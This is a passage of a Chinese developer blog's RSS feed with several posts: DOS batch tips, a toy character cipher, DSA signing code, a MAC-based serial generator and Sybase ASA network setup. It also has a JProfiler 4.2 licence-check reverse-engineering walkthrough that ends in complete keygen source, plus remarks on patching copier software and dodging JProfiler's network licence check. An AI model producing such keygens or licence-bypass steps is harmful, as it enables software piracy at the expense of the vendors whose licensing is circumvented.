/>2)标签不能以大多数的非字母数字字符开始, 而文件名中则可以使用很多 <br />3)当无法区别两个标签时, 将跳转至位置最靠前的标签 <br />================================================================ <br />6、FOR <br />建立C:\TEST7.BAT，文件内容如下： <br />@ECHO OFF <br />FOR %%C IN (*.BAT *.TXT *.SYS) DO TYPE %%C <br />运行： <br />C:\&gt;TEST7 <br />执行以后，屏幕上会将C:盘根目录下所有以BAT、TXT、SYS为扩展名的文件内容显示出来（不包括隐藏文件）。 <br /> </p>
<img src ="http://www.blogjava.net/galaxyp/aggbug/102369.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/galaxyp/" target="_blank">舵手 QQ：8117892</a> 2007-03-07 13:04 <a href="http://www.blogjava.net/galaxyp/archive/2007/03/07/102369.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>简单的字符转换和反转换函数</title><link>http://www.blogjava.net/galaxyp/archive/2007/02/07/98478.html</link><dc:creator>舵手 QQ：8117892</dc:creator><author>舵手 QQ：8117892</author><pubDate>Wed, 07 Feb 2007 00:55:00 GMT</pubDate><guid>http://www.blogjava.net/galaxyp/archive/2007/02/07/98478.html</guid><wfw:comment>http://www.blogjava.net/galaxyp/comments/98478.html</wfw:comment><comments>http://www.blogjava.net/galaxyp/archive/2007/02/07/98478.html#Feedback</comments><slash:comments>2</slash:comments><wfw:commentRss>http://www.blogjava.net/galaxyp/comments/commentRss/98478.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/galaxyp/services/trackbacks/98478.html</trackback:ping><description><![CDATA[
		<p>加密解密时可以用到，只支持小写字母的转换。<br /><br /> private String dmix(String str1)<br />    {<br />        int MAX_COUNT = 20;<br />        char ca[] = str1.toCharArray();<br />        int count = 0;<br />        for(int i = 0; i &lt; ca.length; i++)<br />        {<br />            int a = ca[i] - count;<br />            ca[i] = (char)a;<br />            if(ca[i] &lt; 'a')<br />                ca[i] += '\032';<br />            count = ++count % MAX_COUNT;<br />        }</p>
		<p>        StringBuffer sb = new StringBuffer();<br />        sb.append(ca);<br />        return sb.toString();<br />    }<br />    public String mix(String str1)<br />    {<br />     int MAX_COUNT = 20;<br />        char ca[] = str1.toCharArray();<br />        int count = 0;<br />        for(int i = 0; i &lt; ca.length; i++)<br />        {<br />         int a=0;<br />            a = ca[i] + count;<br />            ca[i] = (char)a;<br />            if(ca[i] &gt; 'z')<br />                ca[i] -= '\032';<br />            count = ++count % MAX_COUNT;<br />        }</p>
		<p>        StringBuffer sb = new StringBuffer();<br />        sb.append(ca);<br />        return sb.toString();<br />    }<br /></p>
<img src ="http://www.blogjava.net/galaxyp/aggbug/98478.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/galaxyp/" target="_blank">舵手 QQ：8117892</a> 2007-02-07 08:55 <a href="http://www.blogjava.net/galaxyp/archive/2007/02/07/98478.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>java DSA 数字签名</title><link>http://www.blogjava.net/galaxyp/archive/2006/12/27/90219.html</link><dc:creator>舵手 QQ：8117892</dc:creator><author>舵手 QQ：8117892</author><pubDate>Wed, 27 Dec 2006 01:41:00 GMT</pubDate><guid>http://www.blogjava.net/galaxyp/archive/2006/12/27/90219.html</guid><wfw:comment>http://www.blogjava.net/galaxyp/comments/90219.html</wfw:comment><comments>http://www.blogjava.net/galaxyp/archive/2006/12/27/90219.html#Feedback</comments><slash:comments>4</slash:comments><wfw:commentRss>http://www.blogjava.net/galaxyp/comments/commentRss/90219.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/galaxyp/services/trackbacks/90219.html</trackback:ping><description><![CDATA[
		<p>        在下面的代码中，把DSA的公钥和私钥保存在文件中，要使用该代码你需要先得到DSA算法的公钥和私钥才行。其实下面的代码就是JProbe 6.0.2 不完整分析的注册机，本打算在看雪论坛混片精华，分析到后来才发现注册文件在二进制代码中有多处验证，这不是我的强项，再加上年末事情较多，所以只好放弃。<br /><br />public final class Codecs<br />{</p>
		<p>    private Codecs()<br />    {<br />    }</p>
		<p>    public static final byte[] base64Encode(byte abyte0[])<br />    {<br />        if(abyte0 == null)<br />            return null;<br />        byte abyte1[] = new byte[((abyte0.length + 2) / 3) * 4];<br />        int i = 0;<br />        int j = 0;<br />        for(; i &lt; abyte0.length - 2; i += 3)<br />        {<br />            abyte1[j++] = Base64EncMap[abyte0[i] &gt;&gt;&gt; 2 &amp; 0x3f];<br />            abyte1[j++] = Base64EncMap[abyte0[i + 1] &gt;&gt;&gt; 4 &amp; 0xf | abyte0[i] &lt;&lt; 4 &amp; 0x3f];<br />            abyte1[j++] = Base64EncMap[abyte0[i + 2] &gt;&gt;&gt; 6 &amp; 3 | abyte0[i + 1] &lt;&lt; 2 &amp; 0x3f];<br />            abyte1[j++] = Base64EncMap[abyte0[i + 2] &amp; 0x3f];<br />        }</p>
		<p>        if(i &lt; abyte0.length)<br />        {<br />            abyte1[j++] = Base64EncMap[abyte0[i] &gt;&gt;&gt; 2 &amp; 0x3f];<br />            if(i &lt; abyte0.length - 1)<br />            {<br />                abyte1[j++] = Base64EncMap[abyte0[i + 1] &gt;&gt;&gt; 4 &amp; 0xf | abyte0[i] &lt;&lt; 4 &amp; 0x3f];<br />                abyte1[j++] = Base64EncMap[abyte0[i + 1] &lt;&lt; 2 &amp; 0x3f];<br />            } else<br />            {<br />                abyte1[j++] = Base64EncMap[abyte0[i] &lt;&lt; 4 &amp; 0x3f];<br />            }<br />        }<br />        for(; j &lt; abyte1.length; j++)<br />            abyte1[j] = 61;</p>
		<p>        return abyte1;<br />    }</p>
		<p>    public static final byte[] base64Decode(byte abyte0[])<br />    {<br />        if(abyte0 == null)<br />            return null;<br />        int i;<br />        for(i = abyte0.length; abyte0[i - 1] == 61; i--);<br />        byte abyte1[] = new byte[i - abyte0.length / 4];<br />        for(int j = 0; j &lt; abyte0.length; j++)<br />            abyte0[j] = Base64DecMap[abyte0[j]];</p>
		<p>        int k = 0;<br />        int l;<br />        for(l = 0; l &lt; abyte1.length - 2; l += 3)<br />        {<br />            abyte1[l] = (byte)(abyte0[k] &lt;&lt; 2 &amp; 0xff | abyte0[k + 1] &gt;&gt;&gt; 4 &amp; 3);<br />            abyte1[l + 1] = (byte)(abyte0[k + 1] &lt;&lt; 4 &amp; 0xff | abyte0[k + 2] &gt;&gt;&gt; 2 &amp; 0xf);<br />            abyte1[l + 2] = (byte)(abyte0[k + 2] &lt;&lt; 6 &amp; 0xff | abyte0[k + 3] &amp; 0x3f);<br />            k += 4;<br />        }</p>
		<p>        if(l &lt; abyte1.length)<br />            abyte1[l] = (byte)(abyte0[k] &lt;&lt; 2 &amp; 0xff | abyte0[k + 1] &gt;&gt;&gt; 4 &amp; 3);<br />        if(++l &lt; abyte1.length)<br />            abyte1[l] = (byte)(abyte0[k + 1] &lt;&lt; 4 &amp; 0xff | abyte0[k + 2] &gt;&gt;&gt; 2 &amp; 0xf);<br />        return abyte1;<br />    }</p>
		<p>    private static byte Base64EncMap[];<br />    private static byte Base64DecMap[];</p>
		<p>    static <br />    {<br />        byte abyte0[] = {<br />            65, 66, 67, 68, 69, 70, 71, 72, 73, 74, <br />            75, 76, 77, 78, 79, 80, 81, 82, 83, 84, <br />            85, 86, 87, 88, 89, 90, 97, 98, 99, 100, <br />            101, 102, 103, 104, 105, 106, 107, 108, 109, 110, <br />            111, 112, 113, 114, 115, 116, 117, 118, 119, 120, <br />            121, 122, 48, 49, 50, 51, 52, 53, 54, 55, <br />            56, 57, 43, 47<br />        };<br />        Base64EncMap = abyte0;<br />        Base64DecMap = new byte[128];<br />        for(int i = 0; i &lt; Base64EncMap.length; i++)<br />            Base64DecMap[Base64EncMap[i]] = (byte)i;</p>
		<p>    }<br />}<br /><br />import java.io.UnsupportedEncodingException;</p>
		<p>public final class SignableBlock<br />{</p>
		<p>    private SignableBlock()<br />    {<br />    }</p>
		<p>    public static byte[] createSignableBlock(String as[])<br />        throws UnsupportedEncodingException<br />    {<br />        StringBuffer stringbuffer = new StringBuffer(256);<br />        for(int i = 0; i &lt; as.length; i++)<br />            stringbuffer.append(as[i]);</p>
		<p>        return stringbuffer.toString().getBytes("UTF-8");<br />    }<br />}<br /><br />import java.io.UnsupportedEncodingException;<br />import java.security.*;</p>
		<p>
				<br />final class ValidateSignature<br />{</p>
		<p>    private ValidateSignature()<br />    {<br />    }<br />    <br />    public static void main(String[] args)<br />    {<br />     String[] as = {"qq:8117892","<a href="http://www.blogjava.net/galaxyp&quot;,&quot;DSA">www.blogjava.net/galaxyp","DSA</a>数字签名"};<br />     String s = "MCwCFFSpNp/n4Mq24FDXyVkk/kr815yHAhQO0TLslIJOqUes4OFn0ARvFaAVOw==";<br />     try{<br />      System.out.println(validateSignature(as,s));<br />     }catch(Exception e){}<br />    }</p>
		<p>    private static boolean validate(byte abyte0[], byte abyte1[])<br />    {<br />        Signature signature = null;<br />        boolean flag = false;<br />        try<br />        {<br />         java.io.ObjectInputStream in=new java.io.ObjectInputStream(new java.io.FileInputStream("myprikey.dat"));<br />            PrivateKey prikey=(PrivateKey)in.readObject();<br />            in.close();<br />            <br />            java.io.ObjectInputStream in2=new java.io.ObjectInputStream(new java.io.FileInputStream("mypubkey.dat"));<br />            PublicKey pubkey=(PublicKey)in2.readObject();<br />            in2.close();<br />            <br />            signature = Signature.getInstance("SHA/DSA");<br />            <br />            signature.initSign(prikey);<br />            signature.update(abyte0);<br />            byte[] bt = signature.sign();<br />            String encode =new String(Codecs.base64Encode(bt),"UTF-8");<br />            System.out.println(encode);<br />            <br />            signature.initVerify(pubkey);<br />            signature.update(abyte0);<br />            <br />            flag = signature.verify(abyte1);<br />        }<br />        catch(Exception e)<br />        {  <br />            return false;<br />        }<br />        return flag;<br />    }</p>
		<p>    private static boolean validateSignatureBytes(String as[], byte abyte0[])<br />        throws UnsupportedEncodingException<br />    {<br />        byte abyte1[] = SignableBlock.createSignableBlock(as);<br />        return validate(abyte1, abyte0);<br />    }</p>
		<p>    public static boolean validateSignature(String as[], String s)<br />        throws UnsupportedEncodingException<br />    {<br />        byte abyte0[];<br />        try<br />        {<br />            abyte0 = Codecs.base64Decode(s.getBytes("UTF-8"));<br />        }<br />        catch(ArrayIndexOutOfBoundsException arrayindexoutofboundsexception)<br />        {<br />            return false;<br />        }<br />        return validateSignatureBytes(as, abyte0);<br />    }<br />}<br /><br /></p>
<img src ="http://www.blogjava.net/galaxyp/aggbug/90219.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/galaxyp/" target="_blank">舵手 QQ：8117892</a> 2006-12-27 09:41 <a href="http://www.blogjava.net/galaxyp/archive/2006/12/27/90219.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>一段根据MAC生成序列号的代码</title><link>http://www.blogjava.net/galaxyp/archive/2006/12/25/89945.html</link><dc:creator>舵手 QQ：8117892</dc:creator><author>舵手 QQ：8117892</author><pubDate>Mon, 25 Dec 2006 09:11:00 GMT</pubDate><guid>http://www.blogjava.net/galaxyp/archive/2006/12/25/89945.html</guid><wfw:comment>http://www.blogjava.net/galaxyp/comments/89945.html</wfw:comment><comments>http://www.blogjava.net/galaxyp/archive/2006/12/25/89945.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/galaxyp/comments/commentRss/89945.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/galaxyp/services/trackbacks/89945.html</trackback:ping><description><![CDATA[public class getActiveKey {<br />   public String getRegKey(long aKey) {<br />   if (aKey&lt;=0)<br />      aKey=76649179349l;<br />  char[] aKeyChars = { 49, 87, 89, 90, 86, 50, 74, 78, 88, 82, 72, 51,<br />    79, 73, 71, 53, 67, 52, 80, 54, 65, 76, 55, 85, 70, 56, 83, 69,<br />    68, 57, 84, 66, 48, 81, 75, 77 };<br />  StringBuffer result;<br />  byte[] keyBytes;<br />  int patternLength;<br />  int keyCharsOffset;<br />  int i;<br />  int j;<br />  result = new StringBuffer("#####-#####-#####-#####-#####");<br />  keyBytes = String.valueOf(aKey).getBytes();<br />  patternLength = result.length();<br />  keyCharsOffset = 0;<br />  i = 0;<br />  j = 0;<br />  while ((i &lt; keyBytes.length) &amp;&amp; (j &lt; patternLength)) {<br />   keyCharsOffset = keyCharsOffset + Math.abs(keyBytes[i]);<br />   while (keyCharsOffset &gt;= aKeyChars.length) {<br />    keyCharsOffset = keyCharsOffset - aKeyChars.length;<br />   }<br />   while ((result.charAt(j) != 35) &amp;&amp; (j &lt; patternLength)) {<br />    j++;<br />   }<br />   result.setCharAt(j, aKeyChars[keyCharsOffset]);<br />   if (i == (keyBytes.length - 1)) {<br />    i = -1;<br />   }<br />   i++;<br />   j++;<br />  }<br />  System.out.println(result.toString());<br />  return result.toString();<br /> }<br />}<br /><br />aKey 为网卡物理地址的十进制域十六进制<img src ="http://www.blogjava.net/galaxyp/aggbug/89945.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/galaxyp/" target="_blank">舵手 QQ：8117892</a> 2006-12-25 17:11 <a href="http://www.blogjava.net/galaxyp/archive/2006/12/25/89945.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>奥西工程复印机作业批量提交软件</title><link>http://www.blogjava.net/galaxyp/archive/2006/10/16/75367.html</link><dc:creator>舵手 QQ：8117892</dc:creator><author>舵手 QQ：8117892</author><pubDate>Mon, 16 Oct 2006 03:11:00 GMT</pubDate><guid>http://www.blogjava.net/galaxyp/archive/2006/10/16/75367.html</guid><wfw:comment>http://www.blogjava.net/galaxyp/comments/75367.html</wfw:comment><comments>http://www.blogjava.net/galaxyp/archive/2006/10/16/75367.html#Feedback</comments><slash:comments>5</slash:comments><wfw:commentRss>http://www.blogjava.net/galaxyp/comments/commentRss/75367.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/galaxyp/services/trackbacks/75367.html</trackback:ping><description><![CDATA[调用本地代码进行注册码验证，算法挺麻烦，暴破，没什么技术性<br /><img height="337" alt="os.jpg" src="http://www.blogjava.net/images/blogjava_net/galaxyp/os.jpg" width="313" border="0" /><img src ="http://www.blogjava.net/galaxyp/aggbug/75367.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/galaxyp/" target="_blank">舵手 QQ：8117892</a> 2006-10-16 11:11 <a href="http://www.blogjava.net/galaxyp/archive/2006/10/16/75367.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>JProfiler 4.2 注册分析</title><link>http://www.blogjava.net/galaxyp/archive/2006/10/12/74789.html</link><dc:creator>舵手 QQ：8117892</dc:creator><author>舵手 QQ：8117892</author><pubDate>Thu, 12 Oct 2006 07:07:00 GMT</pubDate><guid>http://www.blogjava.net/galaxyp/archive/2006/10/12/74789.html</guid><wfw:comment>http://www.blogjava.net/galaxyp/comments/74789.html</wfw:comment><comments>http://www.blogjava.net/galaxyp/archive/2006/10/12/74789.html#Feedback</comments><slash:comments>9</slash:comments><wfw:commentRss>http://www.blogjava.net/galaxyp/comments/commentRss/74789.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/galaxyp/services/trackbacks/74789.html</trackback:ping><description><![CDATA[
		<font face="宋体">JProfiler 4.2 注册分析<br /><br />作者：舵手<br />申明：如转载请保证文章的完整性以及出处<br /><br />摘要:JProfiler是一款Java剖析器。JProfiler直观的用户界面能够帮助你找到性能瓶颈,并指明你的内存漏洞和解决线程问题。<br /><br />    JProfiler是通过EXE来执行，用十六进制编辑器很容易找到程序的入口类：com.jprofiler.frontend.FrontendApplication 如果你要通过命令行运行，得看看这个类的main方法，它需要两个参数才能运行。简单分析了一下该类，发现方法H完成了注册码的验证，让我们顺藤摸瓜找到计算注册码的位置。<br /><br />    public boolean H()<br />    {<br />        E e1 = com.jprofiler.frontend.E.H.A3().A2();<br />  //由于代码经过了混淆，以E命名的类有n多，所以千万要找正确，否则会浪费你的保宝贵时间<br />  //com.jprofiler.frontend.E.D.E——E的完整类路径<br />        int i1 = e1.A(null, this);<br />        switch(i1)<br />        {<br />        case -2: <br />            if(l())<br />            {<br />                System.err.println("Your license key has expired.");<br />                return false;<br />            }<br />            int j1 = A(p, "Your license key has expired.\nIf you were not able to evaluate JProfiler, <br />please\nrequest a new key at " + L(), new String[] {<br />                "Enter new key", "Send mail"<br />            }, 0);<br />            if(j1 == 1)<br />            {<br />                O();<br />                return false;<br />            }<br />            if(!A(((String) (null)), true))<br />                return false;<br />            break;<br /><br />        case -1: <br />            break;<br /><br />        case -3: <br />            if(!A("Your license key is invalid. Please check your key.", true))<br />                return false;<br />            break;<br /><br />        case -5: <br />            if(!A("There was an error communicating with the license server.\n<br />Please check your license key.", true))<br />                return false;<br />            break;<br /><br />        case -4: <br />            if(!A("The license server is invalid. \nPlease check your license key.", true))<br />                return false;<br />            break;<br /><br />        case -6: <br />            A(com.jprofiler.frontend.E.D.C.B(), false);<br />            return false;<br /><br />        default:<br />            if(i1 &lt; 0)<br />                throw new RuntimeException("Unknown license status " + i1);<br />            e1.A(i1);<br />            break;<br />        }<br />        e1.AA();<br />        return true;<br />    }<br />    如果让e1.A(null, this)返回-1，那问题就解决了。如果想暴破可以从这个方法入手，我们这里的任务是追出注册算法：）<br />    首先我们跟进com.jprofiler.frontend.E.H.A3().A2();这两个方法，发现只是对类做一些初始化，我们略过。<br /><br />    跟进e1.A(null, this)，它又调用了重载方法A<br />    public int A(String s, C._A _pa)<br />    {<br />        return A(s, _pa, true);<br />    }<br />    <br />    public int A(String s, C._A _pa, boolean flag)<br />    {<br />        if(s == null)<br />            s = F4; //在该类初始化时已经给F4给了值，如果注册文件存在，该值为注册码<br />        if(flag &amp;&amp; !s.startsWith("FLOAT:") &amp;&amp; !s.startsWith("S-"))<br />            com.A.A.E.C.A(s, _pa);//跟进这里，发现是网络验证，由于我访问不了IP 228.7.6.9 所以没有详细分析，<br />      //有时间了再补上。如果你那里通不过网络验证，把com.A.A.E.C$_B（C的内部类）里的IP改一下应该就没问题<br />      //可别问我怎么改，十六进制编辑器就可以了：）<br />        return S(s); //我们再看这个方法<br />    }<br /><br />    public int S(String s)<br />    {<br />        if(s == null)<br />            s = F4;//在该类初始化时已经给F4给了值，如果注册文件存在，该值为注册码<br />        if(s.startsWith("FLOAT:")) //不知道这代表什么，直觉上不是好东西，先不进入，直接到else<br />        {<br />            String s1 = s.substring("FLOAT:".length());<br />            int i = -1;<br />            int j = s1.lastIndexOf(':');<br />            if(j &gt; -1)<br />            {<br />                try<br />                {<br />                    i = Integer.parseInt(s1.substring(j + 1));<br />                }<br />                catch(NumberFormatException numberformatexception) { }<br />                s1 = s1.substring(0, j);<br />            }<br />            int k = C3();<br />            int l = com.A.A.E.E.A(s1, i, k, C7());<br />            FD = E.C();<br />            D(l &gt; 0 || l == -1);<br />            return l;<br />        } else<br />        {<br />            return Q(s);<br />        }<br />    }<br /><br />    Q(s)直接调用下面方法<br />    public static int G(String s)<br />    {//s为注册码<br />        if(s == null)<br />            return -3;<br />        s = s.trim();<br />        if(s.length() &lt; 3 || s.charAt(1) != '-' || s.indexOf('#') == -1)//长度大于3，第二位字符必须为-，必段有#<br />            return -3;<br />        switch(s.charAt(0))//取注册码中的第一个字符<br />        {<br />        case 69: // 'E'  试用版<br />            int i = A(s);//查检当前日期是否过了试用期<br />            if(!F(s))<br />                return -3;<br />            else<br />                return i;<br /><br />        case 65: // 'A'<br />        case 76: // 'L'//这三个有什么区别还没有搞清<br />        case 83: // 'S'<br />            return H(s);  //让这里返回-1<br />        }<br />        return -3;<br />    }<br /><br />    private static int H(String s)<br />    {<br />        if(B(s) != 2)//license串中的"-"必须等于两个，B函数的作用是计算串中的"-"字符的个数<br />            return -3;<br />        return F(s) ? -1 : -3;//这里F必须反回true<br />    }<br /><br />    private static boolean F(String s)<br />    {<br />        A a = new A(s);//传入注册码，进行截取处理<br />        if(!a.E())<br />            return false;<br />        String s1 = a.A();//返回注册码中第二个“-”后的所有字符<br />        String s2 = E(s1);//把上面得到的字符串以“#”为界分开，“#”前的给s2<br />        String s3 = D(s1);//“#”后的给s3<br />        if(s3 == null || s2 == null)<br />            return false;<br />        else<br />            return A(s3, s2, 11, 7, 29);//重点所在<br />    }<br /><br />    protected static boolean A(String s, String s1, int i, int j, int k)<br />    {<br />        char ac[] = s1.toCharArray();“#”前的串转换为char<br />        int l = 0;<br />        char ac1[] = ac;<br />        int i1 = ac1.length;<br />        for(int j1 = 0; j1 &lt; i1; j1++)<br />        {<br />            char c = ac1[j1];<br />            l += c; //累加<br />        }<br /><br />        String s2 = String.valueOf(l % i) + String.valueOf(l % j) + String.valueOf(l % k);<br />  //分别模11、7、29，结果相加，结果要和“#”后的那部分相等<br />        return s.equals(s2);<br />    }<br /><br />    到这里我们已经知道注册的算法了，其实很简单：注册码必须以A、S、L其中一个字母开头，第二个字符必须为“-”，“-”字符必须为两个，至少一个“#”字符，从目前的分析可以看出注册码长度已以大于等于四了，程序代码中&lt;3时完蛋。接下来载取注册码中从第二个“-”字符位置加1开始到“#”前一个字符的子串，转换为char后累加，再分别模11、7、29，把三次模运算的结果相加，这个值等于注册码中“#”后面的所有字符。<br /><br />    下面给写出它的注册机<br />import java.util.*;<br />/**<br /> * &lt;p&gt;Title: JProfiler4.2 注册机&lt;/p&gt;<br /> * &lt;p&gt;Description: 每执行一次得到一个注册码&lt;/p&gt;<br /> * &lt;p&gt;Copyright: Copyright () 2006&lt;/p&gt;<br /> * @author 舵手<br /> * @version 1.0<br /> */<br />public class jprofiler4_keygen  <br />{<br />  public static void main(String[] args) <br />  {<br />    String s1 = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";<br />    String s2 = "ALS";<br />    String license = "";<br />    String key = "";<br />    Random rd = new Random();<br />    int j = rd.nextInt(3);<br />    license += s2.substring(j,j+1)+"--";<br />    for (int i =0 ; i &lt; 12 ; i++ )<br />    {<br />      j = rd.nextInt(62);<br />      license += s1.substring(j,j+1);<br />      key += s1.substring(j,j+1);<br />    }<br />    license += "#";<br />    char ac[] = key.toCharArray();<br />        int l = 0;<br />        char ac1[] = ac;<br />        int i1 = ac1.length;<br />        for(int j1 = 0; j1 &lt; i1; j1++)<br />        {<br />            char c = ac1[j1];<br />            l += c;<br />        }<br />        String s3 = String.valueOf(l % 11) + String.valueOf(l % 7) + String.valueOf(l % 29);<br />    license += s3;<br />    System.out.println(license);<br />  }<br />}<br />    通过上面的分析，我们可以用正则表达式表示出注册码[A|L|S]-.-[a-zA-Z0-9]#[0-9]，第二个“-”后的字符到“#”字符前的字符串的长度并没有限制，当然，不能为0，我只测试了长度为1和12，计算的注册码都没有问题，有兴趣的可以多试几个：）“.”这个位置可以插入任意长度的任意字符。<br />    从注册算法上说，这个程序的保护很简单，但如果加上混淆和错综复杂的方法调用，会让你头痛好一阵子。这里我只列出了和计算注册码有关的一些方法，而在实际跟踪中，牵扯到的类和方法数量是很大的，这就需要耐心。我一直以来都认为这样的文章对那些想要从这里学到东西的人没有什么用处，因为这种文章充其量只能算是授人以鱼而不是授人以渔。对那些正在分析这个软件的注册算法的人来说，也许有那么一点点用处：）<br />    分析这个软件的注册只是个人爱好，由于水平有限，错误疏漏在所难免，欢迎大家提出宝贵意见！</font>
		<br />
<img src ="http://www.blogjava.net/galaxyp/aggbug/74789.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/galaxyp/" target="_blank">舵手 QQ：8117892</a> 2006-10-12 15:07 <a href="http://www.blogjava.net/galaxyp/archive/2006/10/12/74789.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>将ASA配置成可以跨网段访问的Open Server</title><link>http://www.blogjava.net/galaxyp/archive/2006/09/29/72789.html</link><dc:creator>舵手 QQ：8117892</dc:creator><author>舵手 QQ：8117892</author><pubDate>Fri, 29 Sep 2006 05:52:00 GMT</pubDate><guid>http://www.blogjava.net/galaxyp/archive/2006/09/29/72789.html</guid><wfw:comment>http://www.blogjava.net/galaxyp/comments/72789.html</wfw:comment><comments>http://www.blogjava.net/galaxyp/archive/2006/09/29/72789.html#Feedback</comments><slash:comments>1</slash:comments><wfw:commentRss>http://www.blogjava.net/galaxyp/comments/commentRss/72789.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/galaxyp/services/trackbacks/72789.html</trackback:ping><description><![CDATA[
		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: center" align="center">
				<span style="FONT-SIZE: 14pt; FONT-FAMILY: 宋体; mso-bidi-font-size: 12.0pt; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">将</span>
				<span lang="EN-US" style="FONT-SIZE: 14pt; mso-bidi-font-size: 12.0pt">ASA</span>
				<span style="FONT-SIZE: 14pt; FONT-FAMILY: 宋体; mso-bidi-font-size: 12.0pt; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">配置成可以夸网段访问的</span>
				<span lang="EN-US" style="FONT-SIZE: 14pt; mso-bidi-font-size: 12.0pt">Open Server<?xml:namespace prefix = o ns = "urn:schemas-microsoft-com:office:office" /?><o:p></o:p></span>
		</p>
		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt">
				<span lang="EN-US" style="FONT-SIZE: 12pt">
						<span style="mso-tab-count: 1">       </span>ASA</span>
				<span style="FONT-SIZE: 12pt; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">是</span>
				<span lang="EN-US" style="FONT-SIZE: 12pt">Sybase</span>
				<span style="FONT-SIZE: 12pt; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">的一个本地数据库，但它也可以发布为</span>
				<span lang="EN-US" style="FONT-SIZE: 12pt">Open Server</span>
				<span style="FONT-SIZE: 12pt; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">模式，这样客户端就可以通过网络访问安装在不同机器上的</span>
				<span lang="EN-US" style="FONT-SIZE: 12pt">ASA</span>
				<span style="FONT-SIZE: 12pt; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">数据库。当然，服务端也不一定要安装</span>
				<span lang="EN-US" style="FONT-SIZE: 12pt">ASA</span>
				<span style="FONT-SIZE: 12pt; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">数据库，你可以拷贝一些必要的动态库和</span>
				<span lang="EN-US" style="FONT-SIZE: 12pt">EXE</span>
				<span style="FONT-SIZE: 12pt; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">文件，再写一些注册表信息，这样，一样精简的</span>
				<span lang="EN-US" style="FONT-SIZE: 12pt">ASA</span>
				<span style="FONT-SIZE: 12pt; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">数据库就可以远行起来。</span>
				<span lang="EN-US" style="FONT-SIZE: 12pt">
						<o:p>
						</o:p>
				</span>
		</p>
		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt">
				<span lang="EN-US" style="FONT-SIZE: 12pt">
						<span style="mso-tab-count: 1">       </span>
				</span>
				<span style="FONT-SIZE: 12pt; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">默认情况下，客户端连接处在网络中的</span>
				<span lang="EN-US" style="FONT-SIZE: 12pt">ASA</span>
				<span style="FONT-SIZE: 12pt; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">数据库会以广播包形式查找和连接数据库。因此，如果客户端和服务端不在同一网段，即跨越路由设备，客户端将无法连接到数据库。这时我们需要配置连接参数，让数据库连接以单播方式进行。</span>
				<span lang="EN-US" style="FONT-SIZE: 12pt">
						<o:p>
						</o:p>
				</span>
		</p>
		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt">
				<span lang="EN-US" style="FONT-SIZE: 12pt">
						<span style="mso-tab-count: 1">       </span>
						<o:p>
						</o:p>
				</span>
		</p>
		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 21pt">
				<span style="FONT-SIZE: 12pt; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">服务端的启动参数配置：</span>
				<span lang="EN-US" style="FONT-SIZE: 12pt">
						<o:p>
						</o:p>
				</span>
		</p>
		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt">
				<span lang="EN-US" style="FONT-SIZE: 12pt"> <o:p></o:p></span>
		</p>
		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 21pt">
				<span lang="EN-US" style="FONT-SIZE: 12pt">dbsrv7.exe Datafile -n Servername -x TCPIP{host=ServerIP} –Q<o:p></o:p></span>
		</p>
		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 21pt">
				<span lang="EN-US" style="FONT-SIZE: 12pt"> <o:p></o:p></span>
		</p>
		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 21pt">
				<span style="FONT-SIZE: 12pt; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">客户端连接参数配置</span>
